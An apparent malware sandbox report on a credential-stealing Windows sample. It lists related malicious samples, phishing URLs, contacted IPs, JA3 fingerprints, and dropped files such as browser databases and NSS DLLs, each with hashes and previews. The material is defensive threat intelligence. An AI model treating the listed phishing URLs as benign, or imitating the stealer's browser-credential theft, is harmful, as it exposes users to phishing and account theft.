	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.228.161.161
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	40.99.70.178
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse	20.20.44.97
	https://heehra-incomeportal.com/	Get hash	malicious	Unknown	Browse	23.99.0.111
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.189.173.23
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC Stealer	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	https://www.google.com.bn/url?snf=vpsBrmjsMjZT0YKBELze&nuu=B4grUxP5T5pV5xJiiFp0&sa=t&ndg=e2p4qPDSQqlwr77oflqr&pdbr=npO0StsDFHvGF7jwYfWY&np=slEjuRPdabbflvaXgHau&cb=IhzFYfcuqq5m2vva4DTH&url=amp%2Fbeutopiantech.com%2Fchd%2FroghgehdjtiE-SURECHDDam9lbC5kZW5vZnJpb0BoYW5lc2NvbXBhbmllcy5jb20=	Get hash	malicious	Unknown	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	https://fax-review-complete-signature-required.s3.us-east-1.amazonaws.com/Derwiiuw45FSDeerwyllakttqyhfffddd/ASgggsh65378Reloadfffax3527paogHjkks/Pdf.html	Get hash	malicious	Unknown	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	https://ipfs.io/	Get hash	malicious	Unknown	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	http://www.buildermax.in/002/ww.htm	Get hash	malicious	HTMLPhisher	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
	2025 Business Travel Show Asia Pacific Innovation Faceoff Application Form.docx	Get hash	malicious	Unknown	Browse	40.126.53.13 52.149.20.212 13.107.246.63 23.218.208.109
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.33.116
	Installer.exe	Get hash	malicious	LummaC	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.33.116
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEGHJKJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGHJKJKKJDHIDHJKJDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGCGHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651493996927194
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMZSAELyKOMq+8yC8F/YfU5m+OlTLVumW:Bq+n0JZ9ELyKOMq+8y9/Owd
MD5:	5007B54B2945F2FFA395F7D54A3F86F6
SHA1:	6A67DE64A00EA13BE77D80A0BCF679C803A2233B
SHA-256:	650E1E1A0CC64CD78F354A0E496752095B19F3EB0F97D344A83BF719CE4EA5FC
SHA-512:	F94D9B0A751A5D51E21F9E430A3A4437ED12FAC9251FEC879171227A3CEDA799E66B4FCA9197C9EE6F483EE71900ED0B71AC9B51C4427D7A53F3655FF0206A1A
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKKFBAEGDHJJJJKFBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJJKECFCFBGDHIECAAFIIDAKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCFIIEBKEGHJJJJJJDAAFHCGHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBGHIDGDGHCBGDGCBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0ca50920-f93f-45cf-837b-fbd9c5ae5434.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46111
Entropy (8bit):	6.087890690712717
Encrypted:	false
SSDEEP:	768:0MkbJrT8IeQc5N9/txuAhDO6vP6O+wY6MsnnvXL6Y65Dk+LCAo/Goup1Xl3jVzXx:0Mk1rT8HF9/e6ewY1Y65LRo/hu3VlXrF
MD5:	510DF472E87A41711630A76569FA42FE
SHA1:	C04B054B7E44E9C4D283E5DC4FB7C626C9A1A666
SHA-256:	D4089EAE05AB0629393695D47426CFCDA04791C06D7E680F115A00FE4799481C
SHA-512:	62FF6E6189E8DC88D36B9E24B7FE66505CEF09DC575C15F5DA6118A0709E0F9FD8E771E6145FED902EB0B3F92BE90C4990514E45A804392F5A6880553CF7E395
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732320861"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\22ce5ce2-5e0c-41d5-b5ed-1ad209b32efd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44596
Entropy (8bit):	6.096453483623584
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBPwuzhDO6vP6O+wYCTWQDFhmsEPFXcGoup1Xl3jVu:z/Ps+wsI7ynEe6ewYPchu3VlXr4CRo1
MD5:	2CB8744F50999D0A8FDB17D9DAF0C7BC
SHA1:	ED3AA4D7C1AAD0A2E7ED62CF5C48C9BE45EEFD68
SHA-256:	941ADD01F6980928A34B46EA0A0843C689B2BF1178A8756CE092C15D5C3E545E
SHA-512:	473F450777B39A7B00743A58F065FA8653F24193EE8878C023B3A5ED0BD5EAD25CA9BA4BFE08ABF34C98FC51F5B47215A94E025BA5D250C9034D54DBBAEF59E3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3c65bfbc-2296-4fef-9c5d-bc014f6d6985.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45987
Entropy (8bit):	6.0881509642411
Encrypted:	false
SSDEEP:	768:0MkbJrT8IeQc5d9/cxuAhDO6vP6O+wY6MsnnvXL6Y65Dk+LCAo/Goup1Xl3jVzXx:0Mk1rT8H19/x6ewY1Y65LRo/hu3VlXrF
MD5:	BC8D5F7252728014D7F707CFAE6A64B3
SHA1:	EB51DA81667F3BBD5AE673D92A1426CBF9B402A2
SHA-256:	3A3E819A1D2857A0D926E7E1D6692AC1160C7299BAD2E9C83027881FFEE61543
SHA-512:	7DCA919CF45C0CA472251813BE075E477231B598D83AF74C21CF905FFC28EB5C0FF35F578397CA23F82C0ED635619F1001FD6DF06D7E5B7F9EEC5F4319A15D86
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732320861"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

